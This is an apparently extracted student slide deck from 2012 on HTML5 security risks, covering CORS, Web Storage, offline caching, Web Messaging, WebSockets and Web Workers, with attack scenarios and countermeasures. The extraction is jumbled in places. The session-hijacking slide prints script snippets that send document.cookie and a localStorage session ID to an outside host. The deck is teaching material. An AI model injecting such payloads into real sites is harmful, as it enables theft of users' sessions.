WEB ATTACK 3.

0
HTML5 Building a better botnet
Supervisor: MR.G.Praveen Babu Associate Professor of JNTU
by A.Shahgholi

http://www.scribd.com/mshahgholi/d/87091142-Html5-Security

copy right@2012 1

Introduction
Standard Web Model

The website delivers resources to requesting UA through the Internet.

http://www.scribd.com/mshahgholi/d/87091142-Html5-Security
2

Introduction
Web 3.0 is being referred to by experts as the semantic web; semantic meaning data driven. The data will come from the user and the web will essentially adjust to meet the needs of the user. For example, if you do a lot of searching for design blogs, youll receive more advertisements related to design.

http://www.scribd.com/mshahgholi/d/87091142-Html5-Security

Introduction

http://www.scribd.com/mshahgholi/d/87091142-Html5-Security

Introduction

http://www.scribd.com/mshahgholi/d/87091142-Html5-Security

Motivation
As seen many attacks against web applications exist (in 2010) and the need for security in the Internet grows. Beside the comfort the web provides, security concerns are critical points to be considered. This applies to current web applications but also for future web applications.

The threats to web applications described in this section need to be kept in mind when considering HTML5 security issues
http://www.scribd.com/mshahgholi/d/87091142-Html5-Security
6

HTML5 security issues

Beside instructions of how to securely implement HTML5 features the existing security problems in HTML are addressed through innovative features such as:
Web Messaging
Cross document messaging Document without same origin Embedding website and embedded Inline Frame (Iframe) Sandboxing: Use to limit privileges

The HTML5 features considered

Cross-Origin Resource Sharing Web Storage Web Messaging Implicit security relevant features of HTML5 The Web Sockets API Offline Web Application http://www.scribd.com/mshahgholi/d/87091142-Html5-Security
7

Illustration: HTML5 overview

Cross-Origin Resource Sharing

XMLHttpRequests "Access-Control-Allow-Origin"

Vulnerabilities

breaking access control (confidentiality) entrusted data validation on the client

Cross-Origin Resource Sharing

Another concerned issue with CORS is that the origin of data isn't
limited anymore to the origin server.
http://www.scribd.com/mshahgholi/d/87091142-Html5-Security
9

Cross-Origin Resource Sharing

Threats and attack scenarios

Bypassing Access Control (Scenario 1)

Remote attacking a web server (Scenario 2)

Information Gathering (Scenario 3)

Establishing a remote shell (Scenario 4)

Disclosure of confidential data

Web-Based Botnet DDoS attacks with CORS and Web Workers
http://www.scribd.com/mshahgholi/d/87091142-Html5-Security
10

Scenario 1 accessing internal servers

Sequence diagram: CORS accessing Intranet applications

A slight variation of this attack is if the website looks different depending on whether it is access from the Intranet or the Internet. The different content can then be accessed 11 from the Internet.

Scenario 2 stealth web server attacking

Countermeasures
Restrict the allowed domains making Cross-Origin-Request by defining all the allowed URLs in the header Access-Control-Allow-Origin and not set the value to . Do not base access control on the origin header. This header can be modified by an attacker through sending a faked origin. To mitigate DDoS attacks the Web Application Firewall (WAF) needs to block CORS requests if they arrive in a high frequency. They can be recognized through the Origin header which is sent in the CORS request.

12

Web Storage
o Local Storage Vulnerabilities
by inserting some JavaScript code through an attacker the security requirements Data protection, Integrity and Confidentiality are endangered in the course of bypassing Access control. This malicious JavaScript code can manipulate the data or send it to foreign domains.

o Session Storage

Threats and attack scenarios

Session hijacking (Scenario 1)
Break secure session Disclosure of Confidential Data (Scenario 2) User tracking (Scenario 3) Break identity protection Persistent attack vectors Break UA protection Break confidentiality

13

Scenario 1 session hijacking

<script> document.write("<imgsrc='http://www.csnc.ch?cookies="+document.cookie+ "'>"); </script> <script> document.write("<imgsrc='http://www.csnc.ch?sessionID="+localStorage.getIte m('SessionID')+"'>"); </script>
1.The UA requests any path of the web application that should be attacked. The response of the target website is manipulated by the malicious web proxy and JavaScript code for reading out the Local Storage is added to the response. 2. This JavaScript Code reads the content of the Local Storage for this domain. 3. This content is posted to the malicious web proxy

Scenario 2 disclosure of confidential data

Countermeasures
Use cookies instead of Local Storage for session handling. Do not store sensitive data in Local Storage. Sensitive data should only be stored on the web server and needs to be protected adequately. Different web application running on the same domain and only separated 14 through the path should not use Local Storage if the data needs to be separated.

Offline Web Application

UA recognized offline mode
<!DOCTYPE HTML> <html manifest="/cache.manifest"> <body> if the security requirement Secure caching can be broken, an attacker can include any content into the Offline Web Application cache and use this code for breaking the other security requirements as well.(client side attack)

Vulnerabilities

Threats and attack scenarios

A. Cache Poisoning: (break the UA protection and secure caching) B. Persistent attack vectors: recent history is deleted C. User Tracking: ( break confidentiality)

Poisoned offline cache content executed 15

Offline Web Application cache poisoning

16

Web Messaging
Cross Document Messaging allows documents to communicate to each other even they do not have the same origin. A communication between the embedding website and the embedded Iframe is possible. Vulnerabilities Server controlling Malicious content Access the application

Countermeasures The target in postMessage() should be defined explicitly and not set, to avoid sensitive data Threats and attack scenarios sent to a wrong frame. Disclosure of confidential data The received message should be validated and wrong iframe not used directly as innerHTML or pass it to the (break confidentiality) JavaScript function eval(). Expanded attack surface in the UA The receiving frame should also check the attack on receiving iframe sender domain (e.g. e.origin == (break data validation) "http://internal.csnc.ch"). 17

The Web Sockets API

Vulnerabilities

Full duplex tcp/IP connection

The security requirement Secure caching is endangered through the Web Socket API. Because not all web proxies understand the Web Socket API protocol correctly, an attacker may cause a web proxy to cache manipulated data. This in turn can be abused to break all other security requirements by smuggling malicious JavaScript code to the victim's UA.

Threats and attack scenarios

Remote Shell (Scenario 1): open connection (break UA protection) Web-Based Botnet (Scenario 2): (break UA protection) Cache poisoning (Scenario 3): cache proxy (Break secure caching) Port scanning (Scenario 4): (Break confidentiality and secure session) web proxies need to be updated. caching of resources should not be based on the HTTP host header value alone The IP matching the hostname should always be considered
18

Countermeasures

Scenario 3 - Web proxy cache poisoning

http://www.scribd.com/mshahgholi/d/87091142-Html5-Security

19

Web Workers
two possible attacks
Cracking Hashes in JavaScript cloud Ravan Tools: Js distributed computing system DDoS attacks with HTML5 CORS and Web Workers
every CORS request is made unique through inserting a random dummy string to the URL which changes for every request.

http://www.scribd.com/mshahgholi/d/87091142-Html5-Security

20

Outlook
New technologies may have an impact of how end-users will use web applications but not always have new web standards been disruptive technologies. If HTML5 will be introduced and if the vulnerable points will not be fixed, security service providers will play an important role. Whether these are relatively easy solutions such as providing an on-demand secure hardened browser or establishing a complete secure Internet access solution depends on the user acceptance.

In any case web applications providers with a high need of security, e.g. electronic banking providers, need to put great effort to guarantee confidentiality, integrity and availability.

21

References
1] World Wide Web Consortium (W3C). (1999, Dec.) HTML 4.01 Specification, W3C Recommendation . [Online]. http://www.w3.org/TR/1999/REC-html401-19991224/ [2] The World Wide Web Consortium (W3C) . (2000, Jan.) XHTML 1.0 The Extensible HyperText Markup Language (Second Edition). [Online]. http://www.w3.org/TR/xhtml1/ [3] The World Wide Web Consortium (W3C). (2011, Jan.) HTML5 - A vocabulary and associated APIs for HTML and XHTML. [Online]. http://www.w3.org/TR/html5/ [4] M. Pilgrim, HTML5: Up and Running. Sebastopol: OReilly Media, 2010.

[5] Web Hypertext Application Technology Working Group (WHATWG). (2011, Jan.) FAQ - What is the WHATWG?. [Online]. http://wiki.whatwg.org/wiki/FAQ
[6] World Wide Web Consortium (W3C). (2009, Jul.) XHTML 2 Working Group Expected to Stop Work End of 2009, W3C to Increase Resources on HTML 5. [Online]. http://www.w3.org/News/2009#entry-6601 [7] M. Schfer. (2010, Dec.) bersicht ber HTML5-Spezifikationen und -Literatur. [Online]. http://molily.de/weblog/html5-specs [8] P. Krner, HTML5 Webseiten innovativ und zukunftssicher. Mnchen: Open Source Press, 2010. [9] Web Hypertext Application Technology Working Group (WHATWG). (2011, Feb.) HTML - Living Standard. [Online]. http://www.whatwg.org/specs/web-apps/current-work/multipage/
22

Thank you all very much for taking the time to listen to this presentation
By AbdolMajid Shahgholi RN: 10031D6404 M.TECH, CNIS (SIT department ), JNTU HYDERABAD , INDIA Shahgholi_a@hotmail.com
23